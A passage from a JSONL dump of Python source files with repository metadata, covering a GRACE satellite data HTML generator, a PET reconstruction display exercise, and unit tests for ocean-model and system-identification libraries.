'''\\t\\t\\tonmouseout=\"UnhighlightRow('Wahr:2015dg')\">'''\n            'Wahr&nbsp;et&nbsp;al.&nbsp;(2015)</a>.'), file=fid)\n    print(('\\t\\tGSFC GRACE/GRACE-FO mascon data products are calculated as described in '), file=fid)\n    print(('''\\t\\t<a href=\"#Loomis:2019ef\" onmouseover=\"HighlightRow('Loomis:2019ef')\"\\n'''\n        '''\\t\\t\\tonmouseout=\"UnhighlightRow('Loomis:2019ef')\">'''\n        'Loomis&nbsp;et&nbsp;al.&nbsp;(2019)</a>.'), file=fid)\n    print('\\t\\tGRACE/GRACE-FO fields have been corrected for Glacial Isostatic '\n        'Adjustment (GIA) using coefficients from ICE6G Version-D', file=fid)\n    print(('''\\t\\t<a href=\"#Peltier:2018dp\" onmouseover=\"HighlightRow('Peltier:2018dp')\"\\n'''\n        '''\\t\\t\\tonmouseout=\"UnhighlightRow('Peltier:2018dp')\">'''\n        '(Peltier&nbsp;et&nbsp;al.&nbsp;,&nbsp;2018)</a>.'), file=fid)\n\n    print('\\t\\t<table class=\"ref\">', file=fid)\n    print('\\t\\t\\t<tr class=\"ref\" valign=\"top\" id=\"Swenson:2006hu\">', file=fid)\n    print('\\t\\t\\t\\t<td class=\"ref\" align=\"right\"></td>', file=fid)\n    print('\\t\\t\\t\\t<td class=\"ref\">', file=fid)\n    print('\\t\\t\\t\\tS.&nbsp;Swenson and J.&nbsp;Wahr.', file=fid)\n    print('\\t\\t\\t\\tPost-processing removal of correlated errors in GRACE data.', file=fid)\n    print('\\t\\t\\t\\t<em>Geophysical Research Letters</em>, 33(8), 2006.', file=fid)\n    print('\\t\\t\\t\\t[&nbsp;<a href=\"../references/Swenson-2006hu.bib\">bib</a>&nbsp;|', file=fid)\n    print('\\t\\t\\t\\t<a href=\"https://doi.org/10.1029/2005GL025285\">http</a>&nbsp;]', file=fid)\n    print('\\t\\t\\t\\t</td>', file=fid)\n    print('\\t\\t\\t</tr>', file=fid)\n\n    print('\\t\\t\\t<tr class=\"ref\" valign=\"top\" id=\"Wahr:1998hy\">', file=fid)\n    print('\\t\\t\\t\\t<td class=\"ref\" align=\"right\"></td>', file=fid)\n    print('\\t\\t\\t\\t<td class=\"ref\">', file=fid)\n    print('\\t\\t\\t\\tJ.&nbsp;Wahr, M.&nbsp;Molenaar and F.&nbsp;Bryan.', file=fid)\n    print(\"\\t\\t\\t\\tTime variability of the Earth's gravity field: Hydrological and\", file=fid)\n    print('\\t\\t\\t\\toceanic effects and their possible detection using GRACE.', file=fid)\n    print('\\t\\t\\t\\t<em>Journal of Geophysical Research: Solid Earth</em>,', file=fid)\n    print('\\t\\t\\t\\t103(B12):30205&#8211;30229, 1998.', file=fid)\n    print('\\t\\t\\t\\t[&nbsp;<a href=\"../references/Wahr-1998hy.bib\">bib</a>&nbsp;|', file=fid)\n    print('\\t\\t\\t\\t<a href=\"https://doi.org/10.1029/98JB02844\">http</a>&nbsp;]', file=fid)\n    print('\\t\\t\\t\\t</td>', file=fid)\n    print('\\t\\t\\t</tr>', file=fid)\n\n    #-- pole tide drift if showing Release-5 products\n    if ('RL05' in DREL):\n        print('\\t\\t\\t<tr class=\"ref\" valign=\"top\" id=\"Wahr:2015dg\">', file=fid)\n        print('\\t\\t\\t\\t<td class=\"ref\" align=\"right\"></td>', file=fid)\n        print('\\t\\t\\t\\t<td class=\"ref\">', file=fid)\n        print('\\t\\t\\t\\tJ.&nbsp;Wahr, R.&nbsp;S.&nbsp;Nerem and S.&nbsp;V.&nbsp;Bettadpur.', file=fid)\n        print('\\t\\t\\t\\tThe pole tide and its effect on GRACE time-variable gravity measurements:', file=fid)\n        print('\\t\\t\\t\\tImplications for estimates of surface mass variations.', file=fid)\n        print('\\t\\t\\t\\t<em>Journal of Geophysical Research: Solid Earth</em>,', file=fid)\n        print('\\t\\t\\t\\t120(6):4597&#8211;4615, 2015.', file=fid)\n        print('\\t\\t\\t\\t[&nbsp;<a href=\"../references/Wahr-2015dg.bib\">bib</a>&nbsp;|', file=fid)\n        print('\\t\\t\\t\\t<a href=\"https://doi.org/10.1002/2015JB011986\">http</a>&nbsp;]', file=fid)\n        print('\\t\\t\\t\\t</td>', file=fid)\n        print('\\t\\t\\t</tr>', file=fid)\n\n    print('\\t\\t\\t<tr class=\"ref\" valign=\"top\" id=\"Loomis:2019ef\">', file=fid)\n    print('\\t\\t\\t\\t<td class=\"ref\" align=\"right\"></td>', file=fid)\n    print('\\t\\t\\t\\t<td class=\"ref\">', file=fid)\n    print('\\t\\t\\t\\tB.&nbsp;D.&nbsp;Loomis, S.&nbsp;B.&nbsp;Luthcke, T.&nbsp;J.&nbsp;Sabaka.', file=fid)\n    print('\\t\\t\\t\\tRegularization and error characterization of GRACE mascons.', file=fid)\n    print('\\t\\t\\t\\t<em>Journal of Geodesy</em>,', file=fid)\n    print('\\t\\t\\t\\t93(9):1381&#8211;1398, 2019.', file=fid)\n    print('\\t\\t\\t\\t[&nbsp;<a href=\"../references/Loomis-2019ef.bib\">bib</a>&nbsp;|', file=fid)\n    print('\\t\\t\\t\\t<a href=\"https://doi.org/10.1007/s00190-019-01252-y\">http</a>&nbsp;]', file=fid)\n\n    print('\\t\\t\\t<tr class=\"ref\" valign=\"top\" id=\"Peltier:2018dp\">', file=fid)\n    print('\\t\\t\\t\\t<td class=\"ref\" align=\"right\"></td>', file=fid)\n    print('\\t\\t\\t\\t<td class=\"ref\">', file=fid)\n    print('\\t\\t\\t\\tW.&nbsp;R.&nbsp;Peltier, D.&nbsp;F.&nbsp;Argus, R.&nbsp;Drummond.', file=fid)\n    print('\\t\\t\\t\\tComment on \"An Assessment of the ICE-6G_C (VM5a) Glacial ', file=fid)\n    print('\\t\\t\\t\\tIsostatic Adjustment Model\" by Purcell et al.', file=fid)\n    print('\\t\\t\\t\\t<em>Journal of Geophysical Research: Solid Earth</em>,', file=fid)\n    print('\\t\\t\\t\\t123(2):2019&#8211;2028, 2018.', file=fid)\n    print('\\t\\t\\t\\t[&nbsp;<a href=\"../references/Peltier-2018dp.bib\">bib</a>&nbsp;|', file=fid)\n    print('\\t\\t\\t\\t<a href=\"https://doi.org/10.1002/2016JB013844\">http</a>&nbsp;]', file=fid)\n    print('\\t\\t\\t\\t</td>', file=fid)\n    print('\\t\\t\\t</tr>\\n\\t\\t</table>\\n\\t\\t</p>\\n\\t\\t</div>', file=fid)\n\n    #-- print footer text\n    args = (time.strftime('%Y-%m-%d',time.localtime()), os.path.basename(sys.argv[0]))\n    print(('\\n\\t\\t<p><em>Table generated on {0} with <a href=\"./{1}\">\\n'\n        '\\t\\t\\t<code>{1}</code></a></em><br>').format(*args), file=fid)\n    print('\\t\\t<em><a href=\"./GRACE_months.txt\">Table as plain text</a></em></p>', file=fid)\n    #-- print navigation symbols\n    print(('\\t\\t<p><small>\\n\\t\\t\\t<a href=\"../index.html\">'\n        '<i class=\"fa fa-home\" aria-hidden=\"true\"></i></a>\\n\\t\\t\\t'\n        '<a href=\"javascript:history.back()\">'\n        '<i class=\"fa fa-angle-left\" aria-hidden=\"true\"></i></a>'\n        '\\n\\t\\t</small></p>'), file=fid)\n\n    #-- print javascript commands\n    print(('\\t\\t<script type=\"text/javascript\" '\n        'src=\"../assets/js/highlight.row.js\"></script>'), file=fid)\n    print(('\\t\\t<script type=\"text/javascript\" '\n        'src=\"../assets/js/sidenav.js\"></script>'), file=fid)\n    print(('\\t\\t<script type=\"text/javascript\" '\n        'src=\"../assets/js/scale.fix.js\"></script>'), file=fid)\n    print(('\\t\\t<script type=\"text/javascript\" '\n        'src=\"../assets/js/lfs.media.js\"></script>'), file=fid)\n    #-- print HTML footers\n    print('\\t</body>\\n</html>', file=fid)\n    #-- close output HTML file\n    fid.close()\n\n#-- PURPOSE: functional call to grace_months() if running as program\ndef main():\n    #-- Read the system arguments listed after the program\n    parser = argparse.ArgumentParser(\n        description=\"\"\"SCreates a html file with the start and end days for\n            each dataset\n            \"\"\"\n    )\n    #-- command line parameters\n    #-- working data directory\n    parser.add_argument('--directory','-D',\n        type=lambda p: os.path.abspath(os.path.expanduser(p)),\n        default=os.getcwd(),\n        help='Working data directory')\n    #-- GRACE/GRACE-FO data release\n    parser.add_argument('--release','-r',\n        metavar='DREL', type=str, nargs='+',\n        default=['RL06','rl06v1.0'],\n        help='GRACE/GRACE-FO data release')\n    args = parser.parse_args()\n\n    #-- run GRACE/GRACE-FO months program\n    grace_months(args.directory, DREL=args.release)\n\n#-- run main program\nif __name__ == '__main__':\n    main()\n", "meta": {"hexsha": "9cbd95018f5438fa1c9be86fbb892c3cc95ecc47", "size": 21830, "ext": "py", "lang": "Python", "max_stars_repo_path": "data/grace_months_html.py", "max_stars_repo_name": "tsutterley/tsutterley.github.io", "max_stars_repo_head_hexsha": "5ea365aa34b46c8f0b471252e37e1a93bb126ff8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "data/grace_months_html.py", "max_issues_repo_name": "tsutterley/tsutterley.github.io", "max_issues_repo_head_hexsha": "5ea365aa34b46c8f0b471252e37e1a93bb126ff8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "data/grace_months_html.py", "max_forks_repo_name": "tsutterley/tsutterley.github.io", "max_forks_repo_head_hexsha": "5ea365aa34b46c8f0b471252e37e1a93bb126ff8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 51.2441314554, "max_line_length": 110, "alphanum_fraction": 0.6134218965, "include": true, "reason": "import numpy", "num_tokens": 6472, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.12592277631593438, "lm_q1q2_score": 0.060012232797617325}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nExample script to serve as starting point for display evaluation of reconstructions\nusing the Parallel Level Sets (PLS) prior.\n\nPrerequisite:\nYou should have executed the following on your command prompt\n    ./run_simulation_brain.sh\n    ./run_reconstruction_brain.sh\n    ./run_reconstruction_brain_PSF.sh\n    ./run_reconstruction_brain_PLS.sh\n\nThis will use the existing data in the folder. The exercise gets more interesting\nif you added noise to the data.\n\nAuthor: Kris Thielemans\n\"\"\"\n#%% Initial imports\nimport numpy\nimport matplotlib.pyplot as plt\nimport stir\nfrom stirextra import *\nimport os\n#%% go to directory with input files\n# adapt this path to your situation (or start everything in the exercises directory)\nos.chdir(os.getenv('STIR_exercises_PATH'))\n#%% change directory to where the output files are\nos.chdir('working_folder/brain')\n#%% Read origin images\ngroundtruth=to_numpy(stir.FloatVoxelsOnCartesianGrid.read_from_file('ground_truth.hv'));\nanatomical=to_numpy(stir.FloatVoxelsOnCartesianGrid.read_from_file('anatomical_image.hv'));\n\n#%% variables for future display\nmaxforplot=groundtruth.max();\n# pick central slice\nslice=numpy.int(groundtruth.shape[0]/2)\n#%% Display\nplt.figure();\n\nax=plt.subplot(1,2,1);\nplt.imshow(groundtruth[slice,:,:,]);\nplt.clim(0,maxforplot)\nplt.colorbar();\nplt.axis('off');\nax.set_title('ground truth');\n\nax=plt.subplot(1,2,2);\nplt.imshow(anatomical[slice,:,:,]);\nplt.colorbar();\nplt.axis('off');\nax.set_title('anatomical image');\n\n#%% Read in images\n# All reconstruction were run with 240 subiterations using OSL\n# OSL_PLS_240.hv is the output with the PLS prior\n# OSLPSF_PLS_240.hv is the output with the PLS prior when using resolution modelling\n# We also read the OSEM imges with resolution modelling for comparison\nOSEMPSF240=to_numpy(stir.FloatVoxelsOnCartesianGrid.read_from_file('OSEMPSF_240.hv'));\nOSLPSF240=to_numpy(stir.FloatVoxelsOnCartesianGrid.read_from_file('OSL_PLS_240.hv'));\nOSLPLSPSF240=to_numpy(stir.FloatVoxelsOnCartesianGrid.read_from_file('OSLPSF_PLS_240.hv'));\n#%% bitmap display of images \nplt.figure();\n\nax=plt.subplot(2,2,1);\nplt.imshow(groundtruth[slice,:,:,]);\nplt.clim(0,maxforplot)\nplt.colorbar();\nplt.axis('off');\nax.set_title('ground truth');\n\nax=plt.subplot(2,2,2);\nplt.imshow(OSEMPSF240[slice,:,:,]);\nplt.clim(0,maxforplot)\nplt.colorbar();\nplt.axis('off');\nax.set_title('OSEM (with PSF)');\n\nax=plt.subplot(2,2,3);\nplt.imshow(OSLPSF240[slice,:,:,]);\nplt.clim(0,maxforplot)\nplt.colorbar();\nplt.axis('off');\nax.set_title('PLS (no PSF)');\n\nax=plt.subplot(2,2,4);\nplt.imshow(OSLPLSPSF240[slice,:,:,]);\nplt.clim(0,maxforplot)\nplt.colorbar();\nplt.axis('off');\nax.set_title('PLS (with PSF)');\n\n#%% What now?\n# You can change the parameters of the PLS prior (edit OSMAPOSLPSF_PLS.par)\n", "meta": {"hexsha": "e0bc572967b93d3c77e8983650b0daf391d6646c", "size": 2785, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/evaluate_reconstruction_brain_PLS.py", "max_stars_repo_name": "NikEfth/STIR-exercises", "max_stars_repo_head_hexsha": "48c18a3e8c1bfa5eaa4e04d744967f2e31cafc96", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 13, "max_stars_repo_stars_event_min_datetime": "2017-10-04T18:06:04.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-05T07:45:14.000Z", "max_issues_repo_path": "python/evaluate_reconstruction_brain_PLS.py", "max_issues_repo_name": "356255531/STIR_examples", "max_issues_repo_head_hexsha": "72ae861f33daa6f47a928e861e674804730b1caf", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 13, "max_issues_repo_issues_event_min_datetime": "2018-10-26T14:17:42.000Z", "max_issues_repo_issues_event_max_datetime": "2021-04-29T16:24:27.000Z", "max_forks_repo_path": "python/evaluate_reconstruction_brain_PLS.py", "max_forks_repo_name": "356255531/STIR_examples", "max_forks_repo_head_hexsha": "72ae861f33daa6f47a928e861e674804730b1caf", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2017-10-24T13:08:15.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-20T06:50:27.000Z", "avg_line_length": 29.6276595745, "max_line_length": 91, "alphanum_fraction": 0.7569120287, "include": true, "reason": "import numpy", "num_tokens": 780, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.12592276647524683, "lm_q1q2_score": 0.06001222810774589}}
{"text": "\"\"\"\n\n\"\"\"\n\n# IMPORT modules. Must have unittest, and probably coast.\nimport coast\nimport unittest\nimport numpy as np\nimport os.path as path\nimport xarray as xr\nimport unit_test_files as files\n\n\nclass test_gridded_initialisation(unittest.TestCase):\n    def test_gridded_load_of_data_and_domain(self):\n        # Check successfully load example data and domain\n        sci = coast.Gridded(files.fn_nemo_dat, files.fn_nemo_dom, config=files.fn_config_t_grid)\n        sci_attrs_ref = dict(\n            [\n                (\"name\", \"AMM7_1d_20070101_20070131_25hourm_grid_T\"),\n                (\"description\", \"ocean T grid variables, 25h meaned\"),\n                (\"title\", \"ocean T grid variables, 25h meaned\"),\n                (\"Conventions\", \"CF-1.6\"),\n                (\"timeStamp\", \"2019-Dec-26 04:35:28 GMT\"),\n                (\"uuid\", \"96cae459-d3a1-4f4f-b82b-9259179f95f7\"),\n            ]\n        )\n\n        # checking is LHS is a subset of RHS\n        check1 = sci_attrs_ref.items() <= sci.dataset.attrs.items()\n\n        self.assertTrue(check1, msg=\"Check1\")\n\n    def test_gridded_load_of_data_only(self):\n        # Check load only data\n        ds = xr.open_dataset(files.fn_nemo_dat)\n        sci_load_ds = coast.Gridded(config=files.fn_config_t_grid)\n        sci_load_ds.load_dataset(ds)\n        sci_load_file = coast.Gridded(config=files.fn_config_t_grid)\n        sci_load_file.load(files.fn_nemo_dat)\n        check1 = sci_load_ds.dataset.identical(sci_load_file.dataset)\n        self.assertTrue(check1, msg=\"check1\")\n\n    def test_gridded_load_variables_correctly_renamed(self):\n        # Check temperature is correctly renamed\n        sci = coast.Gridded(files.fn_nemo_dat, files.fn_nemo_dom, config=files.fn_config_t_grid)\n        check1 = \"temperature\" in sci.dataset\n        self.assertTrue(check1, msg=\"check1\")\n\n    def test_gridded_load_dimensions_correctly_renamed(self):\n        # Check gridded dimensions are correctly renamed\n        sci = coast.Gridded(files.fn_nemo_dat, files.fn_nemo_dom, config=files.fn_config_t_grid)\n        check1 = sci.dataset.temperature.dims == (\"t_dim\", \"z_dim\", \"y_dim\", \"x_dim\")\n        self.assertTrue(check1, msg=\"check1\")\n\n    def test_gridded_load_domain_only(self):\n        # Check gridded load domain only\n        nemo_f = coast.Gridded(fn_domain=files.fn_nemo_dom, config=files.fn_config_f_grid)\n\n        check1 = False\n        if nemo_f.dataset._coord_names == {\"depth_0\", \"latitude\", \"longitude\"}:\n            var_name_list = []\n            for var_name in nemo_f.dataset.data_vars:\n                var_name_list.append(var_name)\n            if var_name_list == [\"bathymetry\", \"e1\", \"e2\", \"e3_0\"]:\n                check1 = True\n        self.assertTrue(check1, msg=\"check1\")\n\n    def test_gridded_calculate_depth0_for_tuvwf(self):\n        nemo_t = coast.Gridded(\n            fn_data=files.fn_nemo_grid_t_dat, fn_domain=files.fn_nemo_dom, config=files.fn_config_t_grid\n        )\n        if not np.isclose(np.nansum(nemo_t.dataset.depth_0.values), 1705804300.0):\n            raise ValueError(\" X - Gridded depth_0 failed on t-grid failed\")\n        nemo_u = coast.Gridded(\n            fn_data=files.fn_nemo_grid_u_dat, fn_domain=files.fn_nemo_dom, config=files.fn_config_u_grid\n        )\n        if not np.isclose(np.nansum(nemo_u.dataset.depth_0.values), 1705317600.0):\n            raise ValueError(\" X - Gridded depth_0 failed on u-grid failed\")\n        nemo_v = coast.Gridded(\n            fn_data=files.fn_nemo_grid_v_dat, fn_domain=files.fn_nemo_dom, config=files.fn_config_v_grid\n        )\n        if not np.isclose(np.nansum(nemo_v.dataset.depth_0.values), 1705419100.0):\n            raise ValueError(\" X - Gridded depth_0 failed on v-grid failed\")\n        nemo_f = coast.Gridded(fn_domain=files.fn_nemo_dom, config=files.fn_config_f_grid)\n        if not np.isclose(np.nansum(nemo_f.dataset.depth_0.values), 1704932600.0):\n            raise ValueError(\" X - Gridded depth_0 failed on f-grid failed\")\n\n    def test_gridded_load_subregion_with_domain(self):\n        amm7 = coast.Gridded(files.fn_nemo_dat_subset, files.fn_nemo_dom, config=files.fn_config_t_grid)\n\n        # checking all the coordinates mapped correctly to the dataset object\n        check1 = amm7.dataset._coord_names == {\"depth_0\", \"latitude\", \"longitude\", \"time\"}\n        self.assertTrue(check1, msg=\"check1\")\n\n    def test_gridded_load_multiple(self):\n        amm7 = coast.Gridded(files.file_names_amm7, files.fn_nemo_dom, config=files.fn_config_t_grid, multiple=True)\n\n        # checking all the coordinates mapped correctly to the dataset object\n        check1 = amm7.dataset.time.size == 14\n        self.assertTrue(check1, msg=\"check1\")\n\n    def test_gridded_compute_e3_from_ssh(self):\n        nemo_t = coast.Gridded(\n            fn_data=files.fn_nemo_grid_t_dat, fn_domain=files.fn_nemo_dom, config=files.fn_config_t_grid\n        )\n\n        e3t, e3u, e3v, e3f, e3w = coast.Gridded.get_e3_from_ssh(nemo_t, True, True, True, True, True)\n        cksum = np.array([e3t.sum(), e3u.sum(), e3v.sum(), e3f.sum(), e3w.sum()])\n        # these references are based on the example file's ssh field\n        reference = np.array([8.337016e08, 8.333972e08, 8.344886e08, 8.330722e08, 8.265948e08])\n        check1 = np.allclose(cksum, reference)\n        self.assertTrue(check1, msg=\"check1\")\n", "meta": {"hexsha": "8dafbef4f1805707bb4f0f0eec65b8898fab523d", "size": 5300, "ext": "py", "lang": "Python", "max_stars_repo_path": "unit_testing/test_gridded_initialisation.py", "max_stars_repo_name": "British-Oceanographic-Data-Centre/NEMO-ENTRUST", "max_stars_repo_head_hexsha": "41ed278e56428404ab8ec41d74a9a3a761e308ae", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "unit_testing/test_gridded_initialisation.py", "max_issues_repo_name": "British-Oceanographic-Data-Centre/NEMO-ENTRUST", "max_issues_repo_head_hexsha": "41ed278e56428404ab8ec41d74a9a3a761e308ae", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "unit_testing/test_gridded_initialisation.py", "max_forks_repo_name": "British-Oceanographic-Data-Centre/NEMO-ENTRUST", "max_forks_repo_head_hexsha": "41ed278e56428404ab8ec41d74a9a3a761e308ae", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.4912280702, "max_line_length": 116, "alphanum_fraction": 0.6752830189, "include": true, "reason": "import numpy", "num_tokens": 1422, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.1259227648351323, "lm_q1q2_score": 0.06001222732610067}}
{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Note: See python_module_template.py first\n\n###\n# Name: YOUR_FULL_NAME_HERE\n# Student ID: ID_HERE\n# Email: CHAPMAN_EMAIL_HERE\n# Course: PHYS220/MATH220 Fall 2019\n# Assignment: HOMEWORK_OR_CLASSWORK_NUMBER\n###\n\n\n# Many useful test functions are available in these modules\nimport nose.tools\nimport numpy.testing\n# Look for the functions starting with \"assert_\" in each module\n# Remember that you can use a python interpreter to see what they do\n# For example:\n#   >>> help(nose.tools.assert_almost_equal)\n\n\n\"\"\"Test Module Description (Replace this docstring with your own documentation)\n\nThis docstring should contain an overview of the tests contained in the file.\n\nAll test modules should start with the prefix \"test_\" so that the \"nose\"\nframework can locate which tests to run.\n\"\"\"\n\n# Test functions follow below\n# For each logically independent test, write one test function.\n# Each logical test may test multiple cases using multiple assert expressions.\n\n\ndef test_function_1():\n    \"\"\"Test function for nose\n\n    Any function name starting with prefix \"test_\" will be automatically run\n    by nose. Include docstrings for your tests so that nose can report\n    information about the tests. Use function names that are themselves\n    descriptive.\n\n    In a test function, use an assert command to test a Boolean statement\n    about the execution of your code.  If the assert fails, it throws\n    an exception, which is caught by nose and reported as a failure.\n    Anything that is printed to the screen during this function is\n    suppressed unless there is a failure, where it can be used for\n    debugging.\n    \"\"\"\n    # Any print statements inside your test function will only be printed\n    # in the event of a failure, and can be very useful for debugging\n\n    print(\"Helpful test message\")\n\n    # This is an \"assert\" statement that uses the keyword \"assert\" like an\n    # \"if\" test to check that an expression correctly evaluates to True.\n    # If the if check fails, the \"assert\" expression throws an exception\n    # and (optionally) prints the provided string for context.\n\n    assert 2 == 1+1, \"2 == 1+1\"\n\n    # You might consider using nose.tools.assert_equals(left_side, right_side)\n    # instead of the raw assert command, since it gives more information\n    # in the event of a failure\n\n    nose.tools.assert_equals(2, 1+1)\n\n    # When testing floating point numbers (with a decimal), always use\n    # nose.tools.assert_almost_equals(left_side, right_side) instead to avoid\n    # rounding errors (or alternatives in nose.tools or numpy.testing)\n\n\ndef test_function_2():\n    \"\"\"Second test for nose\n\n    Each function is run as a separate logical test.\n    \"\"\"\n    assert True\n", "meta": {"hexsha": "3d1b18ee73bef0adab3ca253eb56171a3f9438d2", "size": 2741, "ext": "py", "lang": "Python", "max_stars_repo_path": "Templates/test_python_template.py", "max_stars_repo_name": "chapman-phys220-2020s/info", "max_stars_repo_head_hexsha": "7657cbee57c446dc495f1f60d0141a4bb6e4dd40", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-09-22T13:38:10.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-22T13:38:10.000Z", "max_issues_repo_path": "Templates/test_python_template.py", "max_issues_repo_name": "chapman-phys220-2020s/info", "max_issues_repo_head_hexsha": "7657cbee57c446dc495f1f60d0141a4bb6e4dd40", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Templates/test_python_template.py", "max_forks_repo_name": "chapman-phys220-2020s/info", "max_forks_repo_head_hexsha": "7657cbee57c446dc495f1f60d0141a4bb6e4dd40", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2019-08-30T17:55:50.000Z", "max_forks_repo_forks_event_max_datetime": "2019-09-26T20:48:44.000Z", "avg_line_length": 33.8395061728, "max_line_length": 79, "alphanum_fraction": 0.7380518059, "include": true, "reason": "import numpy", "num_tokens": 617, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.2309197629292718, "lm_q2_score": 0.2598256436924554, "lm_q1q2_score": 0.05999887604440725}}
{"text": "import pytest\r\nimport sys\r\nimport os\r\nimport numpy as np\r\n\r\nsys.path.append(os.path.dirname(os.path.realpath(__file__)) + \"/../src\")\r\n\r\ntry:\r\n    from base import switch, clean_contents, read_file, clean_contents_control\r\nexcept ImportError as mod: # If the user didn't install the required modules beore trying to run SEED 2.0\r\n    print(\"Install the required modules before starting:\\n\" + str(mod))\r\nexcept Exception as err: # Any other exception that should occur (nothing else should happen, hence generalising all other exceptions)\r\n    print(\"Error while importing:\\n\" + str(err))\r\n\r\nclass TestSwitch(object):\r\n    def test_switch_with_correct_input(self):\r\n        actual = [switch(\"finite_difference\"), switch(\"savitzky_golay\"), switch(\"spectral\"), switch(\"spline\"), switch(\"trend_filtered\")]\r\n        expected = [0, 1, 2, 3, 4]\r\n\r\n        assert actual == expected\r\n\r\n    def test_switch_with_bad_input(self):\r\n        assert switch(200) == 0\r\n\r\nclass TestReadData(object):\r\n    def test_default_lorenz(self):\r\n        ts, dt, cont, var = clean_contents(read_file(\"data_Lorenz3d.csv\", \"\"))\r\n        ts = ts[0:4]\r\n        cont = cont[0:4]\r\n\r\n        expected_ts = [0., 0.002, 0.004, 0.006]\r\n        expected_dt = 0.002\r\n        expected_cont = [   [-8,8,27], \r\n                            [-7.683508382,7.966250523,26.73151873], \r\n                            [-7.373984577,7.92929174,26.46998112], \r\n                            [-7.071350036,7.889537629,26.21523996]\r\n                            ]\r\n        expected_vars = [\"x\", \"y\", \"z\"]\r\n\r\n        assert np.all(ts == expected_ts)\r\n        assert np.all(dt == expected_dt)\r\n        assert np.all(cont == expected_cont)\r\n        assert np.all(var == expected_vars)\r\n\r\n    def test_random_5d(self):\r\n        ts, dt, cont, var = clean_contents(read_file(\"random_5d.csv\", \"\"))\r\n        ts = ts[0:4]\r\n        cont = cont[0:4]\r\n\r\n        expected_ts = [0., 0.001, 0.002, 0.003]\r\n        expected_dt = 0.001\r\n        expected_cont = [   [3.216510998,9.914181513,3.866592635,0.746334938,4.606170334],\r\n                            [0.650685986,4.486606167,5.84805047,1.991102499,5.211598163], \r\n                            [1.318906913,8.869120427,2.594125945,9.226401504,2.357597024],\r\n                            [8.26282217,2.762088665,1.941167642,5.280758711,4.70049113]\r\n                            ]\r\n        expected_vars = [\"a\", \"b\", \"c\", \"d\", \"e\"]\r\n\r\n        assert np.all(ts == expected_ts)\r\n        assert np.all(dt == expected_dt)\r\n        assert np.all(cont == expected_cont)\r\n        assert np.all(var == expected_vars)\r\n\r\n    def test_clean_contents_control(self):\r\n        ts, dt, cont, u, var = clean_contents_control(read_file(\"predatorpreydata.csv\", \"\"))\r\n        ts = ts[0:4]\r\n        cont = cont[0:4]\r\n        u = u[0:4]\r\n\r\n        expected_ts = [0.1, 0.2, 0.3, 0.4]\r\n        expected_dt = 0.1\r\n        expected_cont = [   \r\n            [1.0,1.0],\r\n            [0.93815867,1.0],\r\n            [0.894741036,0.993815867],\r\n            [0.878213584,0.983355064]\r\n        ]\r\n        expected_u = np.array(['0.2196665', '0.437335995', '0.651031414', '0.858815353'])\r\n        expected_vars = [\"x\", \"y\", \"u\"]\r\n\r\n        assert np.all(ts == expected_ts)\r\n        assert np.all(dt == expected_dt)\r\n        assert np.all(cont == expected_cont)\r\n        assert np.all(u == expected_u)\r\n        assert np.all(var == expected_vars)\r\n", "meta": {"hexsha": "026d863f194d071b58c1b8c50215e5d4b33d1f9f", "size": 3391, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_base.py", "max_stars_repo_name": "Statistical-Learning-4-System-Id/SEED-3.0-1", "max_stars_repo_head_hexsha": "11a091110a0a9bf5a6972bcec10ff8f3591a4241", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-09-20T07:11:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-20T07:11:20.000Z", "max_issues_repo_path": "tests/test_base.py", "max_issues_repo_name": "definitely-kyle/SEED-3.0", "max_issues_repo_head_hexsha": "235f0122861e070b9497e722d2876b186d2b6a2e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_base.py", "max_forks_repo_name": "definitely-kyle/SEED-3.0", "max_forks_repo_head_hexsha": "235f0122861e070b9497e722d2876b186d2b6a2e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-03-02T16:43:38.000Z", 